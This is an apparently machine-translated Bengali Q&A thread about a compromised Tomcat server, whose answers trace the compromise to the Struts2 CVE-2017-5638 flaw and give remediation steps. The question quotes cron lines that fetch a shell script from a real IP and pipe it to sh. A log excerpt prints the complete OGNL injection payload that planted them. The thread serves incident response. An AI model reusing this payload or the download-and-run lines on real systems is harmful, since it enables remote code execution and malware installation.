অজানা উত্সের ক্রোনের মাধ্যমে অ্যাপাচি সার্ভারে শেল স্ক্রিপ্ট আক্রমণ


8

অ্যাপাচি টমক্যাট সার্ভারে একটি প্রকল্পের যুদ্ধ চলাকালীন আমি দেখতে পেলাম যে সার্ভারটি আপোস করা হয়েছে।

যুদ্ধের সময় অজানাতে চালাচ্ছিল cronএভাবে চলছে

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

ডাউনলোডের logo.jpgএকটি শেল স্ক্রিপ্ট রয়েছে যা একটি ম্যালওয়্যার ডাউনলোড করছে।

আমি নীচে এই ওয়েবসাইটে অনুরূপ সমস্যা পেয়েছি

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

এবং

/security/160068/kworker34-malware-on-linux

আমি আমার সম্পূর্ণ কোডটিতে এই ক্রোন শিডিয়ুলারের উত্স খুঁজে পেতে অক্ষম।

আমি কী জানতে চাইছি যে কেউ এই সমস্যার মুখোমুখি হয়েছে? এবং কোডে শিডিয়ুলারের উত্স খুঁজতে আমার কীভাবে যাওয়া উচিত।

বিঃদ্রঃ:

আমি একটি জাভা (স্ট্রুটস 2) + জেএসপি + জাভাস্ক্রিপ্ট + জকোয়ারি ওয়েব প্রকল্পে কাজ করছি।

এই সময়সূচীটি প্রতিবার প্রজেক্টের যুদ্ধ ফাইলটি দিয়ে আমার টমক্যাট শুরু করার সময় চলছে তবে আমি আমার কোডটিতে শিডিয়ুলারের জন্য কোনও শিডিয়ুলার খুঁজে পাচ্ছি না।

আমি আমার লগ ফাইলগুলিতে নিম্নলিখিত লাইনটি পেয়েছি

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

আপনি কি ডিফল্ট টমক্যাট লগিনগুলি পরিবর্তন করেছেন এবং হোস্ট-ম্যানেজারকে অক্ষম করেছেন?

আপনি কি এই দুটি ক্রন্টব এন্ট্রি (যা ক্রোন জবস) বা ক্রোন শিডিয়ুলার (কখনও কখনও ক্রোন ডেমন) এর উত্স বলতে চান? আপনি কি নিজের জাভা অ্যাপ্লিকেশন (যেমন Runtime.getRuntime().exec("something")) থেকে প্রক্রিয়াগুলি বা শেল স্ক্রিপ্টগুলি স্প্যান করেন ? আপনার প্রকল্পের কোনও লিঙ্ক আছে?
জান জেরেবেকি

আপনি যখন সংক্রামিত জাভা অ্যাপ্লিকেশন ছাড়াই টোমক্যাট শুরু করেন তখন ক্রোন সক্ষম হয়?

আপনি কিভাবে টমক্যাট শুরু করছেন? আপনি অ্যাপটি কীভাবে নিযুক্ত করছেন? (জিইউআইয়ের মাধ্যমে, স্ক্রিপ্টিং বা কেবলমাত্র ওয়েব অ্যাপগুলিতে .war ফাইলটি অনুলিপি করছেন?

আমি আমার অ্যাপ্লিকেশন লগ যোগ করেছেন দয়া করে একবার দেখুন। আপনি এই সমস্যাটি সম্পর্কে যা ভাবতে পারেন তা নির্দ্বিধায় আমাকে জানান।

উত্তর:


4

ওপি লগগুলি যুক্ত করার পরে, এটি স্পষ্ট হয়ে ওঠে, সমস্যাটি স্ট্রুটস 2 ( সিভিই-2017-5638 ) এর জন্য রিমোট কোড এক্সিকিউশন শোষণে রয়েছে

কিছু অতিরিক্ত লিঙ্ক:

  1. নতুন স্ট্রুটস 2 রিমোট কোড এক্সিকিউশনটি বন্যের মধ্যে ধরা পড়ে
  2. CVE-2017-5638 - অ্যাপাচি স্ট্রুটস 2 এস 2-045

সমাধানটি আপনার স্ট্রুটগুলি 2.3.32 বা 2.5.10.1 সংস্করণে আপগ্রেড করতে হবে।


আপনার উত্তরের জন্য আপনাকে ধন্যবাদ, তবে আমি ইতিমধ্যে 'লোগো.জেপিজি' এবং '91 .230.47.40 'কীওয়ার্ডের জন্য আমার কোডটি সেগুলিতে নেই। আমি আমার অ্যাপ্লিকেশন লগ যোগ করেছেন দয়া করে একবার দেখুন। আপনি এই সমস্যাটি সম্পর্কে যা ভাবতে পারেন তা নির্দ্বিধায় আমাকে জানান।

2

আমি যখন সিসাদমিন ছিলাম এর আগেও আমি একই রকম সমস্যার মুখোমুখি হয়েছি। আমি মনে করি আপনার টমক্যাট সার্ভার বা আপনার জাভা অ্যাপ্লিকেশনটি অবশ্যই আলাদা করা উচিত।

আপনি যখন "সংক্রামিত জাভা অ্যাপ্লিকেশন" ছাড়াই টোমক্যাট শুরু করেন তখন ক্রোনটি সক্ষম হবে? (আমার অর্থ, টমক্যাট থেকে আপনার অ্যাপ্লিকেশনটি মুছে ফেলা এবং এটি শুরু করা) যদি তাই হয় তবে আপনার আরও বড় সমস্যা রয়েছে, আপনাকে স্টার্টআপ স্ক্রিপ্টগুলি এবং টমক্যাট সার্ভারে মোতায়েন করা প্রতিটি অ্যাপ্লিকেশন যাচাই করতে হবে।

অন্যথায় আমরা নিশ্চিত যে আপনার অ্যাপ্লিকেশনটি সমস্যা।

যদি কেসটি হয় তবে যান:

$CATALINA_BASE/webapps/your_app 

আপনার আবেদনের অখণ্ডতা যাচাই করুন, এমন কোনও অতিরিক্ত ফাইল রয়েছে যা আপনি স্বীকৃত নন?

এখন আপনার টমক্যাট ইনস্টলেশনটির ওয়েব অ্যাপস ডিরেক্টরিতে যান:

$CATALINA_BASE/webapps/

যে ডিরেক্টরিতে সঞ্চালন:

grep -R '91.230.47.40' *

সংক্রমণের কারণ হিসাবে সম্ভাব্য ফাইল / লাইন অফ কোড সন্ধান করতে এটি আপনার অ্যাপ্লিকেশন বা নতুন ফাইল হতে পারে।

আপনার কি কোনও সিএসভি সিস্টেমে কোড রয়েছে?

আপনার সিএসভি রেপো থেকে সংক্রামিত সার্ভারের বাইরে যুদ্ধ ফাইলটি তৈরি করুন এবং করুন:

md5sum your_app.war

টমকাট সার্ভার থেকে আপনার অ্যাপ্লিকেশনটি সরান এবং পুনরায় স্থাপন করুন, আপনি এমডি 5 এর মাধ্যমে সঠিক যুদ্ধটি আপলোড করছেন কিনা তা যাচাই করুন, তারপরে ক্রন্টবকে আহ্বান করা হচ্ছে কিনা তা যাচাই করুন।

আপনি যদি এই পদক্ষেপগুলিতে প্রতিক্রিয়া সরবরাহ করেন তবে আমি সাহায্য করে খুশি হব।


1
আমি ইতিমধ্যে 'লোগো.জেপিজি' এবং '91 .230.47.40 'কীওয়ার্ডের জন্য আমার কোডটি যাচাই করে ফেলেছি তারা সেখানে নেই, তবে বিষয়টি অ্যাপ্লিকেশনটির সাথে টমক্যাট নয়। আমি আমার অ্যাপ্লিকেশন লগ যোগ করেছেন দয়া করে একবার দেখুন। আপনি এই সমস্যাটি সম্পর্কে যা ভাবতে পারেন তা নির্দ্বিধায় আমাকে জানান।

2

আমাদের কেবল একটি সার্ভারে এই ধরণের আক্রমণটির বিরুদ্ধে লড়াই করতে হয়েছিল, এটি উপরে বর্ণিত হিসাবে আমাদের টমক্যাট ব্যবহারকারীর জন্য ওভাররাইটিং ক্রন্টব পুনরায় চালু করতে থাকবে। আইপি ঠিকানাটি অভিন্ন ছিল। আইপি ঠিকানার জন্য পুরো ওয়েব অ্যাপস দির গ্রেপ কোনও অপরাধীকে প্রকাশ করেনি।

আমাদের ক্ষেত্রে আমরা স্ট্রুট ব্যবহার করি না, তবে আমাদের ওয়েব অ্যাপসে "হোস্ট-ম্যানেজার" এবং "ম্যানেজার" অ্যাপস ছিল এবং আমাদের জেএমএক্স সক্ষম / পোর্ট খোলা ছিল। এগুলি ছাড়া পুনরায় আরম্ভ করা সমস্যার সমাধান হয়ে গেছে বলে মনে হয়, তাই আমার কুঁচকির মধ্যে থাকা দুর্বলতার মধ্যে একটি হতে পারে। বিশেষত 7.0.73 এ একটি জেএমএক্স দুর্বলতা স্থির ছিল যা আমাদের অপরাধী হতে পারে ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 )।

আরেকটি সতর্কতা যা আমরা এখন নিচ্ছি তা হ'ল ওয়েট এবং chmod এ অ্যাক্সেস কেবল রুট করতে সীমাবদ্ধ করা (কেবলমাত্র সেই বাইনারিগুলিতে chmod 770 করুন)।

আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.